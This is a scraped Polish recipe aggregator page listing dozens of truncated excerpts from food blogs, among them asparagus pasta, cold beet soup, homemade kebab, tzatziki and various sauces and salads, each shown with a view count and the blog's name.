pyszne i szybkie danie przygotujecie bez problemu aby potem cieszyć się smakiem szparagów w sosie pomidorowym. Użyłam tutaj passaty pomidorowej z czosnkiem, użyjcie jaką macie czy lubicie. Szparagi zielone, dla mnie najlepsze, można jednak użyć białych, trzeba wcześniej je obrać. Makaron ze szparagami. CZYTAJ DALEJ

Moje Małe Czarowanie
Biszkoptowy omlet z chrzanem i białą kiełbasą 116

przygotowany omlet jest mięciutki, puszysty i bardzo sycący. Delikatne ciasto chrzanowe świetnie komponuje się z białą kiełbasą! Omlet możecie podawać z ulubionym sosem lub świeżymi warzywami, choć w moim domu zazwyczaj znika w wersji solo!  Zawsze robię kilka porcji. Polecam! (Omlet o średnicy 18-20 cm) 2 jajka 2 łyżki mąki pszennej   2 łyżki mleka 1 łyżka chrzanu

Di gotuje
Chłodnik z botwinki 151

kubku wymieszać sól, czosnek przeciśnięty przez praskę, cukier, pieprz, sok z cytryny, kefir, jogurt oraz śmietanę. Wszystkie pokrojone składniki (poza jajkami) przełożyć do miski. Do tej samej miski wlać sos z kubka. Wymieszać. Chłodnik schłodzić w lodówce. Podawać z jajkami. Chłodnik z botwinki Smacznego! O czym warto pamiętać przygotowując chłodnik. Chłodnik z botwinki Użyłam ogórka sałatkowego , z którego wyciągnęłam środek

mecooks
Co by tu zjeść… 149

muszę się aż tak spieszyć z ich smażeniem jak to ma się w przypadku niegotowanych frytek, które szybko zmieniają kolor. Obok frytek innym dodatkiem do obiadu są oczywiście sosy i dipy. Do tego typu dań świetnie pasuje guacamole i lekko doprawiona kwaśna śmietana. Tani obiad nie musi być nudny. Przy minimalnych nakładach można naprawdę przyrządzić danie, które nieźle pobudzi smakowe

codojedzenia
KUCHENNA APTEKA #34 - KIEŁKI 159

starzeniu się organizmu. Wzmacniają system nerwowy, podnoszą odporność. Poprawiają stan włosów i paznokci. Kiełki świetnie nadają się do różnego rodzaju sałatek - u mnie: SAŁATKA Z KURCZAKIEM I INDYJSKIM SOSEM MIĘTOWYM

Kuchnia MagdaLeny
KUCHENNA APTEKA #34 - KIEŁKI 159

starzeniu się organizmu. Wzmacniają system nerwowy, podnoszą odporność. Poprawiają stan włosów i paznokci. Kiełki świetnie nadają się do różnego rodzaju sałatek - u mnie: SAŁATKA Z KURCZAKIEM I INDYJSKIM SOSEM MIĘTOWYM

Kuchnia MagdaLeny
Kopytka , odsmażane najlepsze , przepis 171

pyszne i proste do zrobienia . Smakują świetnie z gulaszem lub jako dodatek do mięsa . Genialne będą też dla amatorów kuchni wegetariańskiej , gdyż zaserwowane z warzywami , czy sosem pomidorowym z parmezanem będą hitem . Ale co by nie mówić najsmaczniejsze są odsmażone . Bynajmniej w takiej wersji najbardziej smakują moim chłopakom i to nie ważne do czego podane , istotne ,żeby były chrupiące Polecam

Ogrodnik w podróży
Czas na domowy kebab! 177

najlepiej zamarynować na całą noc. Długo, za to smażenie to 5 minut. Gyrosa można go zjeść w chlebku pita, można podać na bogato z pitą, frytkami sałata i obowiązkowo sosem tzatziki. Skoro o chlebkach mowa: spróbuj sam je upiec w domu. Polecamy przepisy na super proste pity , bez żadnych wyszukanych składników, tylko mąka, drożdże i woda. Chlebki wychodzą rumiane, pulchne

Niedzielny kucharz
Sos z rybą i groszkiem 285

ulubionej ryby 100 g groszku cukrowego 1 cukinia 1 cebula 1 jogurt naturalny przyprawa do ryb sól, pieprz curry Sposób przygotowania przepisu: Cebulę obrać i … Czytaj dalej Sos z rybą i groszkiem

czarrna od kuchni
PASZTET WEGAŃSKI Z KASZĄ JAGLANĄ I WARZYWAMI 174

czosnku 5 kawałków suszonych pomidorów ze słoiczka  2 łyżki oleju, np. kokosowego 1/2 szklanki białego wytrawnego wina / bulionu / wody 1/2 szklanki pestek słonecznika 1/4 szklanki oleju 4 łyżki sosu sojowego przyprawy: 2 listki laurowe, sól, świeżo zmielony czarny pieprz, po 1 łyżeczce: suszonego oregano, słodkiej i wędzonej papryki w proszku,  majeranku, lubczyku; szczypta chili w proszku lub płatkach

cool and minty
Mięso i kapusta: wyśmienity duet, z którego można wyczarować wiele pysznych dań 171

które spokojnie mogłyby zostać okrzyknięte „posiłkiem drwala”. Zapiekanka z posiekaną kapustą, mięsem mielonym, przyprawami i serem. Pycha! Dla obieżyświatów Mięso i kapusta znakomicie czują się w orientalnych klimatach. Imbir, sos sojowy i kiełki fasoli mung pomogą zamienić te składniki w przepyszną wieprzowinę w chińskim stylu. Takiej potrawy nie powstydziliby się najlepsi azjatyccy szefowie kuchni! Światowe inspiracje znajdziemy także znacznie bliżej

Codogara
Ciasto czekoladowe z burakami bez jajek 276

zachowują swój smak, zapach, świeżość, wartości odżywcze i co ważne produkty nie wchłaniają innych aromatów. Pakowanie próżniowe jest idealne do każdego rodzaju żywności.  Możemy pakować mięso, warzywa, owoce, sosy, zupy, sery, ciasta, pieczywo a także produkty suche takie jak kasze, płatki czy bakalie. Dzięki próżniowemu pakowaniu zaoszczędzimy też sporo miejsca w lodówce czy zamrażarce. Zgrzewarka  FoodSaver FFS005x

Ala piecze i gotuje
Moskole – placuszki z ziemniaków 155

obiadu. Nie musimy ich wyrzucać, a właśnie nadać im nowe życie w formie apetycznych placuszków. Świetnie sprawdzą się z masłem czosnkowym jako dodatek do sałatek, grilla czy też z sosem czosnkowym jako zwykła przekąska. Moskole smażymy na gorącej patelni/ blasze bez tłuszczu. Kiedyś widziałam, że ktoś miał specjalną blachę, na której na palnikach kuchenki gazowej smażył właśnie placki

Mieszam w Garnku
Sałatka z jarmużu 180

winnego Jarmuż blanszuję w gorącej wodzie razem z żurawiną. W słoiczku mieszam sok z limonki, masło orzechowe i ocet. Dodaję sól i pieprz ziołowy. Jarmuż i żurawinę osuszam, polewam sosem wstrząśniętym, nie mieszanym. Jest pysznie! Sałatkę można podawać z surowym jarmużem. Jednak ja lubię, gdy jest jędrny, ale nie twardy. Całość ma ok. 364 kcal

Kucharzyca
Młoda kapusta z pomidorami i kurczakiem 226

Młoda kapusta z pomidorami i kurczakiem to pomysł na szybki i pyszny wiosenny lub letni obiad. Danie jest niezwykle aromatyczne, a połączenie kapusty, pomidorów i koperku w sosie śmietanowym bardzo udane i z pewnością podbije wasze kubki smakowe. Danie podajemy z pieczywem lub młodymi ziemniakami. [embed]https://youtu.be/zlxHJbbH_p4[/embed] Składniki na młodą kapustę z pomidorami i kurczakiem: główka młodej kapusty

e-PrzepisyKulinarne
Tzatziki 191

Sos (dip) Tzatziki to moja ostatnia miłość. Najbardziej lubię go z pitą i gyrosem.  Jest mega orzeźwiający, lekki i naprawdę - pyszny! U mnie z ogromną ilością świeżych ziół i dodatkowym ząbkiem czosnku. Składniki: 1 ogórek 4 łyżki gęstego jogurtu greckiego 1 ząbek czosnku 1 łyżka posiekanego koperku lub mięty  Sól, pieprz  Oliwa Przygotowanie:  Ogórka obieramy

Czarnawisienka
Mikstury olei i oleje w kapsułkach 143

dobranych proporcjach. Ponieważ do ich produkcji wykorzystano oleje nierafinowane obie mikstury mają smak i aromat  charakterystyczny dla nasion z których powstały. Dzięki temu stanowią doskonały dodatek do zimnych sosów sałatkowych i dressingów. Urozmaicą też smak białych serów i grillowanych warzyw. Nie każdemu odpowiada smak oleju, szczególnie intensywny i ostry w przypadku nierafinowanego, tłoczonego na zimno oleju z czarnuszki

Kulinaria - potrawy z różnych stron świata
Ciasto z suszonymi śliwkami 141

łyżki do dekoracji). Połączyć z osączonymi śliwkami. Biszkopt : Wodę, cukry, masło i kakao umieścić w żaroodpornym naczyniu, doprowadzić do wrzenia. Wystudzić. Białka ubić na sztywną pianę. Do kakaowego sosu dodajemy pojedynczo żółtka oraz przesianą mąkę z proszkiem do pieczenia. Na koniec dodajemy ubite białka, mieszamy delikatnie. Przelewamy do formy (ok 20x30cm) pieczemy 50 minut w 180 o C. Po wystygnięciu

Słodki Zakątek
Pieczone pałki z warzywami 239

Składniki ok. 1 kg pałek z kurczaka kawałek selera 2 marchewki 1 cebula 1 brokuł 3-4 łyżki sosu worcester szczypta pieprzu kajeńskiego suszona trawa cytrynowa suszony czosnek niedźwiedzi słodka papryka, … Czytaj dalej Pieczone pałki z warzywami

czarrna od kuchni
Gołąbki nadziewane warzywami (postne) 159

młodej kapusty polecają się na obiad. Postanowiłam trochę oczyścić organizm i przez dwa tygodnie jeść tylko warzywa i owoce. Dziś polecam pyszne gołąbki nadziane samymi warzywami z mocno bazyliowym sosem pomidorowym. Spróbujecie? Składniki na 10 sztuk: – 10 sparzonych liści młodej kapusty – 400g marchewki – 200g korzenia selera – 200g białej części pora – 1 cebula – pęczek pietruszki

Smaki Armine
Czwartek: Gyros z domowymi chlebkami pita 196

lubią też gyros wieprzowy, podczas, gdy wieprzowina nie jest jedzona przez muzułmanów), przyprawia się je w podobny sposób, griluje tak samo, inne jest tylko wykończenie: Grecy dodają na koniec sos tzatziki, obowiązkowo czerwoną ceulę i lubią jeść gyros z frytkami. W gyros kluczowe są przyprawy. W sklepie można kupić gotową mieszankę, ale naprawdę lepiej przyprawić mięso samemu. Zestaw przypraw jest

Niedzielny kucharz
Surówka z kapusty pekińskiej, jarmużu, marchewki i jabłka 146

pekińskiej, jarmużu, marchewki i jabłka, która podbiła ostatnio moje serce. Jest nie tylko zdrowa, ale i genialnie pasuje do dań z kurczaka ! Chodź podejrzewam, że z wieprzowym lub wołowym sosem też jest pyszna. Co tu dużo mówić, koniecznie jej spróbujcie, a zapewniam, że zagości na stałe w Waszym menu Surówka z kapusty pekińskiej, jarmużu, marchewki i jabłka Składniki: 1/2 małej

PatiGotuje
Jajko sadzone ze szparagami i młodymi ziemniakami 158

kilku sezonowych składników. Obłędnie pyszne i szybkie w przygotowaniu   Danie to możecie oczywiście dowolnie modyfikować, zamiast jajka sadzonego przygotwać jajko w koszulce i  sos holenderski . Zamiast szparagów fasolka szparagowa i tak dalej, wariantów jest nieskończenie wiele. Jedynym wspólnym mianownikiem jest szklanka kefiru. (najbardziej lubię ten od  Robico ) w dodatku produkowany

kuron.com.pl
Kotlety z ciecierzycy 195

ciecierzycą zawsze było mi jakoś nie po drodze, zrobiłam raz czy dwa humus, raz popełniłam cieciorkę w sosie pomidorowym i to byłoby na tyle, jakoś jej nie pokochałam. Ostatnio postanowiłam to zmienić i przy okazji uzupełniania zapasów bakalii  na Skworcu.com.pl zamówiłam też ją. Jak już była kupiona musiałam ją wykorzystać - tym razem postanowiłam zrobić kotlety - po przewertowaniu internetów

Cynamonowe szczęście
Duszona młoda kapusta – dodatek do obiadu 236

międzyczasie na patelni rozpuszczamy łyżkę masła, dodajemy mąkę, mieszamy i smażymy na rumiano. Wlewamy wywar z garnka z kapustą i dokładnie mieszamy aby nie powstały grudki *** *** Powstały gęsty sos dodajemy do kapusty. Dokładamy posiekany koperek, mieszamy *** *** Całość przyprawiamy do smaku solą, pieprzem, cukrem (dodałam pół łyżeczki) oraz octem *** *** Podajemy na ciepło jako dodatek do obiadu *** *** SMACZNEGO ***       POLECAM

Blog z Apetytem
Tarta z bakłażanem, pomidorem, mozzarellą i salami 183

oleju i podsmażyć pokrojoną w drobną kostkę cebulę, dodać przepuszczony przez praskę czosnek i passatę, szczyptę cukru i suszone oregano oraz bazylię. Pomieszać i odstawić.  5. Nasz sos pomidorowy wyłożyć na podpieczony spód i teraz dookoła układamy plasterek bakłażana, mozzarelli, salami i pomidora i tak w kółko, aż zapełnimy całą tartę.  6. Tartę pieczemy w temp. 180 stopni

kruche babeczki
Zapiekanka makaronowa z łososiem i tym co trzeba było zużyć, czyli nie marnujemy resztek 162

rukolę. Mieszamy drewnianą łyżką. Teraz układamy naszego łososia, połówki pomidorków i całość posypujemy startą mozzarellą.  3. Pieczemy w 180 stopniach około 30 minut. Zapiekankę możemy podać z ulubionym sosem. Smacznego

kruche babeczki
Kurczak z miodowej glazurze z grilla 214

Kurczak z miodowej glazurze z grilla to moja propozycja na to danie. Dodatek miodu sprawi, że będą one chrupiące i soczyste w środku. Nie martwcie się

Kulinarnyblog.pl - wiesz jak gotować!
Spitzkohl z ogórkiem i rzodkiewką. Wiosenna surówka 190

Surówka z samych nowilijek: pierwsza młoda, bardzo delikatna kapusta Spitzkohl, ogórki i rzodkiewki. Soczysta, orzeźwiająca, pyszna. Tym razem surówkę przygotowałam na wzór tradycyjnego colesława z sosem majonezowym. Majonez zastąpiłam jednak jogurtem greckim z przyprawami. Spitzkohl szczególnie polecam wszystkim liczącym kaloriie, bo ma ich niewiele. Posiada za to dużo witamin, soli mineralnych i błonnika pokarmowego. Jest najzasobniejsza w witaminę

Gotuj zdrowo!Guten Appetit!
Szybkie ciasto cytrynowe 719

samodzielną bazą smakową dla pysznych dań i deserów. Sok z cytryny jest składnikiem wielu potraw, sałatek, drinków i napojów. Startą skórkę możemy dodać do ciast, ciasteczek, babek, aromatyzowania likierów, sosów oraz lukru. Pokrojone w plasterki lub w trójkątne cząstki służą do ozdabiania ryb, napojów i drinków. Z tym bardzo aromatycznym owocem polecam Wam przepis na szybkie ciasto cytrynowe. Składniki

mojewypiekiinietylko
Fit kasza manna o smaku szarlotki 166

właśnie do węglowodanów prostych, do tego owoce, odżywka białkowa i mleko dają prawie idealny posiłek potreningowy. Więcej fit przepisów znajdziecie tutaj: Cytrynowa kasza jaglana Tortilla z łososiem, szpinakiem i sosem czosnkowym Makaron penne z pieczarkami i pesto orzechowym Artykuł Fit kasza manna o smaku szarlotki pochodzi z serwisu Słodkie Gotowanie

Słodkie Gotowanie
Pizza ze szpinakiem i jajkiem 150

Pizza ze szpinakiem i jajkiem – w tym przepisie znajdziecie moją recepturę na idealne ciasto na pizzę, szybki sos pomidorowy i uzupełnienie całości w postaci pysznych, świetnie dobranych dodatków. Pizzę tę przygotowałem w ramach serii przepisów przygotowanych z wykorzystaniem piekarnika parowego GOTIE GPP-400 BAKEandSTEAM. Artykuł Pizza ze szpinakiem i jajkiem pochodzi z serwisu Pogotujmy.pl

Pogotujmy.pl
Risotto z kurczakiem i szparagami 207

Risotto z kurczakiem i szparagami to niezwykłe połączenie ryżu, kurczaka i szparagów. Risotto wychodzi niezwykle kremowe, rozpływające się w ustach. Możecie użyć dowolnych szparagów, choć ja

Kulinarnyblog.pl - wiesz jak gotować!
Zdrowe frytki z batatów jako fit alternatywa do tradycji 260

sprawdzić widelcem), bacząc na końcówki frytek, aby się nie zaczerniły. W ten sposób uzyskane frytki są nie tylko miękkie, ale też cudownie chrupiące. Możemy je spożywać solo, z domowym sosem lub np. jako alternatywa do ziemniaków czy kaszy do delikatnego mięsa z kurczaka. Zdrowe frytki z batatów to moje odkrycie, z którego jestem nadzwyczaj dumna, choć przyznam się, że początkowo

W Kawiarence
WOLNOWAR W KUCHNI LCHF 211

przygotowania potrawy typowe na LCHF i nie tylko jak gulasze i wszelkie dania jednogarnkowe, zupy oraz buliony (rosół długo gotowany to po prostu bajka!) bigos, wszelkie mięsa, ryby, sosy, przetwory z warzyw i owoców itp. Artykuł WOLNOWAR W KUCHNI LCHF pochodzi z serwisu OLA LA LCHF

Ola la LCHF
TOSTY SEROWE (keto, LCHF, bez glutenu) 2138

momentu aż się zarumienią bądź dłużej jeśli lubicie bardziej przypieczone. Tosty serowe sprawdzą się zarówno na ciepło, jak i na zimno w formie kanapek czy przystawek rożnego rodzaju dodatkami, sosami itp. — BTW całości bez dodatków: 315 g, 895 kal, B 62 g, T 71, W 3 g. Dzieląc n 6 trójkącików – 1 sztuka: 53 g, 149 kcal

Ola la LCHF
Pomidory z czosnkiem i serem-szybka przekąska 219

pieprz Przygotowanie: Pomidory kroimy w plastry,lekko solimy,układamy na talerzu.Majonez mieszamy ze śmietaną i wyciśniętym przez praskę czosnkiem,doprawiamy solą i pieprzem,mieszamy.Na każdy plaster pomidora dajemy łyżkę sosu czosnkowego i posypujemy  startym na drobnych oczkach serem-dekorujemy natką pietruszki lub szczypiorkiem. Smacznego

Swojskie jedzonko
Makaron ze szparagami! 170

główek) smaż około 6 minut, dodaj chlust wina i główki szparagów poduś aż wino wyparuje około 3 - 5 minut. Dodaj ugotowany makaron, całość wymieszaj, tak aby makaron był otoczony sosem. Całość oprósz serem feta, posiekaną natką pietruszki i kolendry. Wedle uznania dodaj świeże posiekane chilli

SMYKWKUCHNI
Grillowane szparagi, kurczak i placuszki ziemniaczane 182

środku były mięsiste ale też chrupkie na zewnątrz. Odlewamy wodę i dodajemy jajko, czosnek, sól, pieprz. Mieszamy dokładnie i smażymy na mocno rozgrzanym oleju. Szparagi serwujemy z łyżką sosu beszamelowego (klik

Życie zaczyna się w kuchni
Steki z kalafiora 307

połamały. Wstaw kalafiora do piekarnika nagrzanego do 190 st C i piecz przez około 20 minut. Najlepiej przewrócić plastry delikatnie w trakcie pieczenia. PODAWANIE: natka pietruszki, pestki granata, SOS Z TAHINĄ: 3-4 łyżki jogurtu greckiego, 1 łyżeczka tahiny, sok z połowy cytryny, pół ząbka czosnku przeciśniętego przez praskę. SMACZNEGO! Artykuł Steki z kalafiora pochodzi z serwisu nietylkopasta.pl - blog kulinaria

nietylkopasta.pl
Polędwiczki wieprzowe ze szparagami i suszonym pomidorem 191

minut 4. Nasze szparagi kroimy, pomidory również kroimy w paski. Dodajemy do reszty. 5. Po upływie czasu dolewamy śmietankę, mieszamy, jeśli trzeba doprawiamy. Dusimy chwilkę, żeby nam się sos zagęścił. na końcu posypujemy świeżymi listkami bazylii.  Podajemy z ryżem, kaszą i ulubioną sałatką :-) Smacznego

kruche babeczki
Fusilli w sosie bobowym 136

Dziś robimy szybki, pyszny, pożywny obiad. Użyłam tutaj fusilli - świderki - buraczkowego ale doskonale sprawdzi się zwykły makaron. Obiad znakomity na talerzu więc zapraszam gorąco. Świderki z sosem bobowym. CZYTAJ DALEJ

Moje Małe Czarowanie
Sałatka z selerem naciowym, kurczakiem i ananasem 263

Składniki: 2 łodygi selera naciowego 1 puszka kukurydzy 2 pojedyncze piersi z kurczaka pół główki kapusty pekińskiej 1 puszka ananasa olej do smażenia Sos: 3 łyżki jogurtu naturalnego 2 łyżki majonezu 1 płaska łyżeczka curry sól, pieprz Przygotowanie: Piersi z kurczaka myjemy, osuszamy ręcznikiem papierowym i kroimy w kostkę. Smażymy na odrobinie oleju i studzimy. Ananasa odcedzamy

Krokusowy Dom
Dorsz z piekrnika na szparagach 174

Gotujemy ok 15 min. Wymujemy obierki. Wrzucamy 2 obrane szparagi, pokrojoną w kostkę cebulę. Dusimy, podlewamy 1/4 szklanki przegotowanej wody. Gotujemy. Dodajemy kilka kropel cytryny, sól, pieprz. Blendujemy powstały sos. Dodajemy śmietankę 30stkę. Dorsza wkładamy do naczynia żaroodpornego, przykrywamy i wkładamy do nagrzanego do 180 stopni piekarnika na 40 min. 15 min przed końcem pieczenia się dorsza gotujemy szparagi. Smacznego

Kuchnia moimi oczami
Szybka warstwowa sałatka 156

lodówce i mamy gotową sałatkę. Aby była ona bardziej efektowna, należy składniki poukładać warstwowo. Tak powstała Szybka warstwowa sałatka ze schabu, żółtego sera, ogórków konserwowych i czerwonej papryki z sosem majonezowym

Kuchnia co dnia
SAŁATKA Z TUŃCZYKIEM I JAJKIEM 141

SKŁADNIKI: - tuńczyk w sosie własnym - 1/2 puszki - jajo ugotowane na twardo - 1 szt. - sałata rzymska - 4 liście - rukola - 2 garści - pomidorki koktajlowe - 5 szt. - słonecznik łuskany - 1 łyżka - olej lniany - 1 łyżka - przyprawy: sól himalajska/ pieprz cytrynowy/ pomidory suszone z czosnkiem - chleb żytni (u mnie z żurawiną) - 2 kromki WYKONANIE : Jajo ugotować na twardo. Słonecznik uprażyć na suchej patelni teflonowej

Być w dobrej formie i tryskać pozytywną energią przez cały czas
Biała kiełbasa z jabłkami 149

około 40 minut w temperaturze 200 stopni pod folią lub pod przykryciem. Po upływie 40 minut ściągnij przykrycie i dopiecz do złotego koloru jabłka i kiełbaski. Smak jest niesamowity. Sos, który się wydzieli:przepyszny! Nie bójcie się dodać jeszcze większej ilości jabłek! Podałam z ćwikłą i ogórkami kiszonymi. Z serca polecam i kiełbaski i książkę! Dane o książce:  Autor

Z Kuchni Do Kuchni
Beza z mascarpone i musem owocowym 184

Pyszna beza, delikatny sos z mascarpone i owoce – cóż więcej potrzeba do szczęścia? Składniki: BEZA: 2 białka z dużych jajek 120 g drobnego cukru do wypieków 2 łyżeczki cukru waniliowego szczypta soli Białka ubić na sztywną pianę z odrobiną soli, następnie stopniowo łyżka po łyżce dodawać cukier zmieszany z cukrem waniliowym. Masa powinna wyjść bardzo gęsta. Blaszkę wyłożyć papierem

Mój pomysł na
Pomidory z czosnkiem i serem-szybka przekąska 267

pieprz Przygotowanie: Pomidory kroimy w plastry,lekko solimy,układamy na talerzu.Majonez mieszamy ze śmietaną i wyciśniętym przez praskę czosnkiem,doprawiamy solą i pieprzem,mieszamy.Na każdy plaster pomidora dajemy łyżkę sosu czosnkowego i posypujemy  startym na drobnych oczkach serem-dekorujemy natką pietruszki lub szczypiorkiem. Smacznego

Swojskie jedzonko
Spaghetti weganiese, czyli pyszne spaghetti bez mięsa 141

Prawie jak bolognese, tylko bez mięsa! Poznaj przepis na pyszny, bezmięsny sos do spaghetti. Artykuł Spaghetti weganiese, czyli pyszne spaghetti bez mięsa pochodzi z serwisu Wiszniówka

Wiszniówka
Przepisy na szybkie przekąski, którymi zaskoczysz swoich bliskich! 175

mało wymagające. Śliwki należy zawinąć w boczek, a następnie piec około 10 minut w temperaturze 180 st. Celsjusza. Można polać je roztopioną czekoladą lub jeśli czas pozwoli, przygotować specjalny sos z dodatkiem żurawiny i wina. Prawda, że banalnie proste? Te pyszne, szybkie przekąski wyczarujecie w dosłownie kilka chwil! Znajomi na pewno będą zadowoleni i miło zaskoczeni kiedy zaserwujecie im takie

Mostek w kuchni
Noga z indyka duszona w winie 207

Smacznego Noga z indyka duszona w winie Zapraszam również do skorzystania z innych przepisów: Meksykańskie Chili con carne – przepis Karczek pieczony w rękawie foliowym Klopsiki zapiekane z ziemniakami w sosie pomidorowym Artykuł Noga z indyka duszona w winie pochodzi z serwisu Księga Smaku

Księga-Smaku
Śledzie w oleju z czosnkiem niedźwiedzim 191

też inne przepisy ze śledziem w roli głównej: Śledzie z koperkiem Ruloniki śledziowe Śledzie z kurkami marynowanymi Śledzie iwasi w oleju, z różowym pieprzem Śledzie po japońsku Śledzie w sosie jogurtowo majonezowym Śledzie bazyliowo czosnkowe z pieczonymi ziemniakami w mundurkach Śledzie w oleju Barszcz śledziowy Śledzik Wydrukuj przepis The post Śledzie w oleju z czosnkiem niedźwiedzim appeared first on Moje

mojewypiekiinietylko
Domowy kebab (z kurczaka) 257

zadbam o to, by kawałki mięsa były troszkę cieńsze. Porcja mięsa jest konkretna. Spokojnie wystarczy na 2-3 obiady/przekąski. Takie mięso możemy zjeść z surówką, frytkami i ulubionym sosem, lub wykorzystać jako nadzienie do bułek. 900 g fileta z kurczaka lub indyka 2 łyżki oleju 3/4 łyżeczki soli 2 łyżeczki granulowanego czosnku 2-3 łyżeczki słodkiej mielonej papryki

Smaki Na Talerzu
Bułki do kebaba 139

kratkę) oraz smarujemy rozmąconym jajkiem i posypujemy sezamem. Pieczemy przez około 25-30 minut w piekarniku nagrzanym do 200 stopni. Po przestudzeniu kroimy na 4 części. Środek smarujemy ulubionym sosem, rozkładamy warzywa (np sałata, ogórek, pomidor, czerwona cebula), dodajemy mięso (z TEGO przepisu). Źródło

Smaki Na Talerzu
Włoska sałatka paprykowa z anchois i oliwkami 156

obiadu, podałam je na ciepło z pieczoną piersią kurczaka i miską sałat z pomidorkami, oliwkami i parmezanem – powstał solidny, domowy i syty posiłek dla kilku osób. Warzywa tworzą sos, który doprawiony wspaniale komponuje się z pieczywem. Polecam przepis! SKŁADNIKI: 2 czerwone papryki 2 żółte papryki 2 zielone papryki 3 cebule 2 cukinie 4 ząbki czosnku opcja: 100 g filetów

Zasmakuj Kuchni
Pieczarki faszerowane 183

spodziewając się gości, przygotujcie o wiele więcej, ponieważ są numerem 1 i każdemu będą bardzo smakowały. Pieczarki przepisy: Drożdżowe słoneczko Zapiekane naleśniki z pieczarkami Naleśniki śniadaniowe Makaron z sosem pieczarkowym Panini z pieczarkami i serem Kasza jaglana z pieczarkami i szpinakiem Bohaterem mojego dzisiejszego dania jest szynka, nazwana przez swoich twórców z Bastionu Smaku - Zrazówką. Jest do przepyszna szynka, bardzo

MamaOskarka
Domowe razowe tortille (Tortilla integrale) 159

bowiem tylko m ą ka razowa, m ą ka pszenna, odrobina soli oraz woda. W ten sposób otrzymamy przepyszne placki, które możemy podać z ulubionym sosem lub dowolnym farszem, mięsnym czy warzywnym. Polecam serdecznie :) SKŁADNIKI 110 g mąki razowej   110 g mąki pszennej 1 łyżeczka soli 175 ml - 200 ml wody **** INGREDIENTI

La grande e la piccola cuoca
Kanapka z pulled pork barbecue 157

ekspresowe mięso. Ekspresowe, bo robi się samo przez noc kiedy śpię i jest do wszystkiego, w tym do kanapek. A jego smak zależy od składników marynaty. Tym razem użyłam sosu bbq, który kiedyś przez przypadek został kupiony i nie było na niego pomysłu, więc dodałam go do marynaty dzięki czemu mięso uzyskało dymny posmak. A gotowe, porwane trafiło do zwykłych

Bernika - moj kulinarny pamietnik
Ekspresowe chaczapuri 262

dziurką przez około 4-5 minut, następnie odwrócić na drugą stronę i smażyć przez kolejne 2-3 minuty bez pokrywki. Gotowe chaczapuri posmarować masłem i podawać z ulubionym sosem i warzywami. Smacznego Ekspresowe chaczapuri Ekspresowe chaczapuri Ekspresowe chaczapuri Ekspresowe chaczapuri Artykuł Ekspresowe chaczapuri pochodzi z serwisu Kulinarne życie Armine

Smaki Armine
Gołąbki z pęczakiem i suszonymi pomidorami 116

rutyny w kuchni gołębie podaję na wiele sposobów. Tym razem z pęczakiem i suszonymi pomidorami.  Ja swoje podałam podsmażone na maśle, ale możecie je także udusić np. w sosie pomidorowym.  Smacznego

Z Hrabiną w kuchni
Carbonara z boczkiem i suszonymi pomidorami 172

propozycji przygotowania “ bogatszej ” wersji carbonary. Dla mnie podstawą tego dania niewątpliwie jest dobry ser Parmezan, świeże zioła oraz odpowiednia ilość czosnku. Makaron powinien być al dente a sos powinien być na tyle delikatny i kremowy w konsystencji aby odpowiednio pokrył każdy indywidualny paseczek makaronu. Jeśli zdecydujecie się na wypróbowanie tego przepisu, zachęcam Was do dzielenia się zdjęciami

mecooks
Melon w szynce parmeńskiej 164

przystawkę z melona . Dojrzałego, soczystego melona przekroić na pół. Następnie podzielić na 8 równych części. Każdą “łódeczkę” melona dokładnie owinąć plasterkiem szynki parmeńskiej. Podawać samego albo z sosem balsamicznym. Melon w szynce parmeńskiej Smacznego! O czym warto pamiętać przygotowując melona z szynką parmeńską. Melon w szynce parmeńskiej Użyłam melona Galia . Ma on lekko zielonawy kolor i miodowy posmak

mecooks
Fast Fish Food – czyli błyskawiczny makaron z łososiem w sosie śmietanowym 245

rybę na patelnię. Dodaj szpinak oraz przyprawy – bazylię, pieprz i sól. Śmietanę wlej na patelnię. Możesz dodaj odrobinę wody. Całość doprowadź do wrzenia i zdejmij z ognia. Polej sosem gorący makaron i wcinaj 🙂 Składniki 100 g łososia lub łososia wędzonego 150 g makaronu 20 ml oleju Kujawski z czosnkiem lub zwykłego (może być też masło) 1 duża cebula

Eat me! Fit me!
Domowe meksykańskie burrito 171

każdą tortille nałożyć gotowy farsz, posypać startym żółtym serem zwinąć boki do środka i zawinąć tak jak krokiety. Piec na suchej grillowej patelni. Podawać na ciepło z dodatkiem ulubionych sosów. #pudliszki Co sprawia, że składniki w produktach  Pudliszki  są najwyższej jakości ? każda partia warzyw trafiająca do zakładu w Pudliszkach jest poddawana skrupulatnej kontroli, a dopuszczane są tylko

Szalona Kuchnia Eweliny
Sałatka ziemniaczana ze szparagami 128

papryczka, garść migdałów w słupkach, Ziemniaki umyć i ugotować. Szczypiorek posiekać. Czosnek rozgnieść. Szczypiorek, czosnek, olej (5 – 6 łyżek) wymieszać. Ugotowane ziemniaki odcedzić, obrać, pokroić w niezbyt grube plastry. Sos wlać do ziemniaków, oprószyć solą i pieprzem. Wymieszać. Odstawić do ostygnięcia. Szparagi umyć, odłamać końce. Pokroić w ukośne plasterki. Paprykę pokroić w niewielką kostkę. Ostrą papryczkę posiekać. Szparagi, paprykę słodką

królestwo garów
Pędy chmielu, chmieliczek 127

sparzywszy gorącą wodą, a wtedy skóreczka łatwiej odchodzi), spody odrzucić precz, wierzchy wymyć, nastawić gorącą wodą, trochę posolić i osłodzić i gotować na niedużej wodzie do miękkości. Zrobić sos taki jak do szparagów, polać nim odcedzony i wsypany do rondelka chmieliczek podać na gorąco. Można też podawać z bułeczką. ” pędy chmielu, sól, cukier, 2 – 3 łyżki masła, łyżka bułki tartej

królestwo garów
Masło rzodkiewkowe 195

bułeczek lub chleba. Zapraszam Cię także po przepisy: – masło czosnkowe – masło ziołowe –  najlepszy przepis na karkówkę z grilla –  małże w białym winie –  krewetki w sosie pomidorowym z wódką –  zupa rybna z owocami morza –  ZUPA BOUILLABAISSE –  krewetki w białym winie –  przepis na ośmiornicę –  wołowina duszona w ciemnym piwie MASŁO RZODKIEWKOWE

nietylkopasta.pl
Środa: Zapiekanka z kalafiora z kurczakiem 163

pracy na lancz, tak jak my zrobiliśmy. Przepis wzorowany na Wrytoasteats.com Polecamy inne nasze przepisy na pieczonego kalafiora: Spaghetti z pieczonym kalafiorem Steki z kalafiora Pieczony kalafior z sosem romesco Składniki: 4 udka z kurczaka 1 kalafior 2 łyżeczki suszonego tymianku lub 4 gałązki świeżego 1 łyżeczka suszonego czosnku 1 łyżeczka suszonej cebuli 4 łyżki oleju + 1 jedna łyżka

Niedzielny kucharz
Gnocchi zapiekane w sosie śmietanowym z cukinią i pieczarkami 231

